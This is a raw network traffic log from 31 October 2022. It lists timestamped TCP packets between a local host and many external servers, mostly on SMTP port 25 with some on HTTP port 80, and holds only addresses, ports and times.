Oct 31, 2022 12:20:52.776874065 CET	50082	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:53.072732925 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.072804928 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.072835922 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.072864056 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.072899103 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.072904110 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:53.072918892 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.072937965 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.072957039 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.072976112 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.072993994 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.073013067 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.073019028 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:53.073019028 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:53.073034048 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.073054075 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.073059082 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:53.073059082 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:53.073059082 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:53.073059082 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:53.073072910 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.073091984 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.073110104 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.073188066 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.073206902 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.073304892 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.073323965 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.292296886 CET	50084	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:53.292467117 CET	50082	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:53.386759043 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:53.419058084 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.437038898 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.437098026 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.437128067 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.437155008 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.437181950 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.437200069 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:53.437211037 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.437243938 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.437271118 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.437298059 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.437325001 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.437352896 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.437380075 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.437407970 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.437434912 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.437463045 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.437494040 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.437520981 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.437547922 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.440639973 CET	25	50082	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:53.440692902 CET	25	50082	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:53.440725088 CET	25	50084	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:53.440757990 CET	25	50084	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:53.440831900 CET	50082	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:53.440859079 CET	50084	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:53.440912008 CET	50082	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:53.443017960 CET	50084	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:53.536196947 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.566009045 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:53.593527079 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.593949080 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.594280958 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:53.597409964 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:53.624658108 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.624681950 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.624741077 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.624866962 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.624861002 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:53.624898911 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.624969006 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:53.625061989 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:53.629229069 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.629414082 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:53.652050018 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.652070999 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.652082920 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.652096033 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.652107000 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.652117014 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.652129889 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.652148008 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.652160883 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.652174950 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.652184010 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.652190924 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.652249098 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:53.652250051 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:53.652301073 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.652313948 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.652327061 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.652338982 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.652342081 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:53.652342081 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:53.652352095 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.652364016 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.656557083 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.656586885 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.679677963 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.679701090 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.679713011 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.679723978 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.679734945 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.679747105 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.679758072 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.679769993 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.679780960 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.679791927 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.679804087 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.679815054 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.679826021 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.679836988 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.679847002 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.679857969 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.679867983 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.679877996 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.792973042 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.793092012 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.793261051 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:53.793262005 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:53.804852009 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.820440054 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:53.842679024 CET	50086	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:53.874500036 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:53.874629021 CET	50086	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:53.918236971 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:53.918405056 CET	50086	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:53.951972961 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:53.963439941 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:53.963690042 CET	50086	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:53.972228050 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.972388983 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:53.972918034 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:53.972981930 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:54.002724886 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.005496025 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.005753040 CET	50086	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:54.044701099 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.166479111 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.166779041 CET	50086	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:54.200392008 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.208997011 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.209295988 CET	50086	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:54.211347103 CET	50086	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:54.238106966 CET	80	50054	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:54.238212109 CET	50054	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:54.244903088 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.244924068 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.244935989 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.244950056 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.244961977 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.245062113 CET	50086	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:54.245137930 CET	50086	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:54.249032974 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.249094009 CET	50086	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:54.269884109 CET	50054	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:54.278812885 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.278839111 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.278858900 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.278901100 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.278908014 CET	50086	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:54.278923988 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.278942108 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.278950930 CET	50086	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:54.278954029 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.278971910 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.278990984 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.279000044 CET	50086	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:54.279002905 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.279016018 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.279028893 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.279032946 CET	50086	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:54.279046059 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.279063940 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.279081106 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.279093981 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.279100895 CET	50086	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:54.279113054 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.282624960 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.282655954 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.288621902 CET	80	50054	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:54.297559023 CET	50087	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:54.312494040 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.312532902 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.312561035 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.312580109 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.312599897 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.312618971 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.312638044 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.312657118 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.312675953 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.312695980 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.312716007 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.312735081 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.312753916 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.312767982 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.312781096 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.312827110 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.312845945 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.312865973 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.336015940 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:54.440438032 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.440711975 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.440809011 CET	50086	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:54.440882921 CET	50086	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:54.473989010 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.474224091 CET	25	50086	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:54.488842010 CET	80	50087	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:54.488954067 CET	50087	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:54.489196062 CET	50087	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:54.507852077 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.508083105 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.542609930 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.549495935 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.582756042 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.585804939 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.585973978 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.619793892 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.620098114 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.659174919 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.679991007 CET	80	50087	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:54.680057049 CET	80	50087	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:54.680176973 CET	50087	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:54.680243969 CET	50087	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:54.771305084 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.771526098 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.804543018 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.805145025 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.805339098 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.807444096 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.840507030 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.840528965 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.840539932 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.840552092 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.840658903 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.840667009 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.840667009 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.840804100 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.846048117 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.846167088 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.871052027 CET	80	50087	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:54.873986959 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.874213934 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.874231100 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.874250889 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.874264002 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.874278069 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.874336004 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.874352932 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.874352932 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.874352932 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.874366999 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.874424934 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.874424934 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.874424934 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.874434948 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.874450922 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.874488115 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.874499083 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:54.874502897 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.874516964 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.874531031 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.874542952 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.874556065 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.874567986 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.874579906 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.879267931 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.879296064 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.907643080 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.907671928 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.907687902 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.907740116 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.907756090 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.907774925 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.907824993 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.907849073 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.907864094 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.907881021 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.907897949 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.907915115 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.907931089 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.907948971 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.907967091 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.907996893 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.908011913 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.908029079 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:54.951508045 CET	50093	80	192.168.2.5	81.17.29.147
Oct 31, 2022 12:20:54.967046022 CET	80	50093	81.17.29.147	192.168.2.5
Oct 31, 2022 12:20:54.967207909 CET	50093	80	192.168.2.5	81.17.29.147
Oct 31, 2022 12:20:54.967475891 CET	50093	80	192.168.2.5	81.17.29.147
Oct 31, 2022 12:20:54.982832909 CET	80	50093	81.17.29.147	192.168.2.5
Oct 31, 2022 12:20:54.988241911 CET	80	50093	81.17.29.147	192.168.2.5
Oct 31, 2022 12:20:54.988271952 CET	80	50093	81.17.29.147	192.168.2.5
Oct 31, 2022 12:20:54.988367081 CET	50093	80	192.168.2.5	81.17.29.147
Oct 31, 2022 12:20:54.994525909 CET	50093	80	192.168.2.5	81.17.29.147
Oct 31, 2022 12:20:55.009994984 CET	80	50093	81.17.29.147	192.168.2.5
Oct 31, 2022 12:20:55.180712938 CET	50098	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:55.214663982 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.215848923 CET	50098	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:55.250716925 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.252269983 CET	50098	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:55.257922888 CET	50100	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:55.285799026 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.290028095 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.290167093 CET	50098	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:55.320231915 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.324139118 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.324455976 CET	50098	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:55.326205015 CET	50103	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:55.330116987 CET	50104	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:55.362960100 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.380057096 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.380163908 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.430188894 CET	25	50100	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:55.430495977 CET	50100	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:55.439358950 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.439809084 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.498596907 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.498646975 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.498981953 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.505985022 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.506228924 CET	50098	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:55.521814108 CET	80	50104	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:55.521939039 CET	50104	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:55.522123098 CET	50104	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:55.529928923 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:55.535813093 CET	50103	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:55.539798021 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.540033102 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.540200949 CET	50098	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:55.541426897 CET	50098	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:55.558686972 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.575026035 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.575052977 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.575064898 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.575079918 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.575092077 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.575247049 CET	50098	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:55.575323105 CET	50098	25	192.168.2.5	74.125.140.27
